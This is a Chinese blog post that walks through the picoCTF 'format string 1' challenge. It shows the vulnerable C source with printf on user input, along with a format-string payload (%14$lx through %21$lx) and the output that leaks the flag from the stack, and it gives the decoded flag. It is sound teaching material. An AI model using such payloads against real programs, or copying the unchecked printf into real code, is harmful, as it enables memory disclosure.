iT邦幫忙

2024 iThome 鐵人賽

DAY 17
0
Security

picoCTF系列 第 17

[Day 17] format string 1

  • 分享至 

  • xImage
  •  

https://ithelp.ithome.com.tw/upload/images/20240822/20168342utpR0VJouV.png
hint 1:https://lettieri.iet.unipi.it/hacking/format-strings.pdf
hint 2:Is this a 32-bit or 64-bit binary?

將題目給的檔案下載下來,並用file 查看詳細資料,在這裡可以看到 format-string-1 是 64-bit 的LSB 執行檔。

$ ls  
format-string-1  format-string-1.c  
$ file format-string-1
format-string-1: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=62bc37ea6fa41f79dc756cc63ece93d8c5499e89, for GNU/Linux 3.2.0, not stripped
$ file format-string-1.c
format-string-1.c: C source, ASCII text

使用 exiftool更仔細查看 format-string-1,知道是 64 bit ELF executable 外,也知道這裡採用的是 Little endian。

$ exiftool format-string-1
ExifTool Version Number         : 12.40
File Name                       : format-string-1
Directory                       : .
File Size                       : 16 KiB
File Modification Date/Time     : 2024:02:07 17:39:53+00:00
File Access Date/Time           : 2024:08:02 08:44:59+00:00
File Inode Change Date/Time     : 2024:08:02 08:43:22+00:00
File Permissions                : -rw-rw-r--
File Type                       : ELF executable
File Type Extension             : 
MIME Type                       : application/octet-stream
CPU Architecture                : 64 bit
CPU Byte Order                  : Little endian
Object File Type                : Executable file
CPU Type                        : AMD x86-64

連上網址,會得到輸入 order 的提示,隨便輸入字串 "123",得到 “Here's your order: 123”,沒有甚麼頭緒。

$ nc mimas.picoctf.net 58628
Give me your order and I'll read it back to you:
123
Here's your order: 123
Bye!

於是,我們先開啟題目給的 .c 檔,發現 flag 會被儲存在 main 裡定義的 flag 陣列。( 底下是完整 code )

並且能知道在 fgets(secret1, 64, fd); 後,才會讀取 flag.txt,並透過fgets(flag, 64, fd); 將文件內容儲存在 flag[64] 陣列中。

所以得到解題思路:讀取 flag 陣列裡的內容,就可以得到 flag.txt 的內容。

#include <stdio.h>

int main() {
  char buf[1024];
  char secret1[64];
  char flag[64];
  char secret2[64];

  // Read in first secret menu item
  FILE *fd = fopen("secret-menu-item-1.txt", "r");
  if (fd == NULL){
    printf("'secret-menu-item-1.txt' file not found, aborting.\n");
    return 1;
  }
  fgets(secret1, 64, fd);
  // Read in the flag
  fd = fopen("flag.txt", "r");
  if (fd == NULL){
    printf("'flag.txt' file not found, aborting.\n");
    return 1;
  }
  fgets(flag, 64, fd);
  // Read in second secret menu item
  fd = fopen("secret-menu-item-2.txt", "r");
  if (fd == NULL){
    printf("'secret-menu-item-2.txt' file not found, aborting.\n");
    return 1;
  }
  fgets(secret2, 64, fd);

  printf("Give me your order and I'll read it back to you:\n");
  fflush(stdout);
  scanf("%1024s", buf);
  printf("Here's your order: ");
  printf(buf);
  printf("\n");
  fflush(stdout);

  printf("Bye!\n");
  fflush(stdout);

  return 0;
}

那要怎麼讀取到 flag 陣列呢?

我們來查看提示 1 給的檔案,知道 64 bit system 下,stack 中前 5 個位置會儲存 register,而且要使用 %lx 才能正確讀取,並且一個 stack line 是 8 個 bytes ( 8 * 8 bits = 64 bits)。
https://ithelp.ithome.com.tw/upload/images/20240822/201683427h21N5yu2v.png

因為前5個位置要儲存特殊的 register,而且因為 memory 要對齊,所以 flag 陣列的位置 offset 應該是 5 + [ 64 (secret-menu-item1) / 8 (bytes) ] = 13 ,因此 flag 的內容應該要在第 14 個 stack line 開始尋找。

而又因 flag 的陣列大小 = 64,所以包含第 14 行,共要找 8 個 stack line,也就是要讀取第 14 - 21 stack line,得到第 14 - 21 stack line 的 hex 值。( 指令中 %14$lx 意思是以 lx 的格式讀取第 14 個位置 )

$ nc mimas.picoctf.net 58628
Give me your order and I'll read it back to you:
%14$lx-%15$lx-%16$lx-%17$lx-%18$lx-%19$lx-%20$lx-%21$lx
Here's your order: 7b4654436f636970-355f31346d316e34-3478345f33317937-65355f673431665f-7d346263623736-7-76841b6758d8-2300000007
Bye!

讀取後,透過網站 ( Hex to ASCII Text String Converter ) 將 hex 轉 ascii,可以發現得到的字串有點問題,這是因為在這裡是以 little endian 儲存資料。

{FTCocip5_14m1n44x4_31y7e5_g41f_}4bcb76whA¶u‚0

於是,需要先將 hex 值轉換成 big endian。( 可以使用 Litte Big Endian Converter )

little endian:7b4654436f636970-355f31346d316e34-3478345f33317937-65355f673431665f-7d346263623736-7-76841b6758d8-2300000007
big endian:7069636F4354467B-346E316D34315F35-377931335F347834-5F663134675F3565-3637626362347D-7-D858671B8476-0700000023

接著就可以得到正確的 flag 了。

picoCTF{4n1m41_57y13_4x4_f14g_5e67bcb4}}…†q¸G`p

小結:

了解如何在 64 bit 系統下讀取變數的 16 進位值,學會讀取特定位置的 hex 值。


上一篇
[Day 16] WebDecode
下一篇
[Day 18] Bookmarklet
系列文
picoCTF30
圖片
  直播研討會
圖片
{{ item.channelVendor }} {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言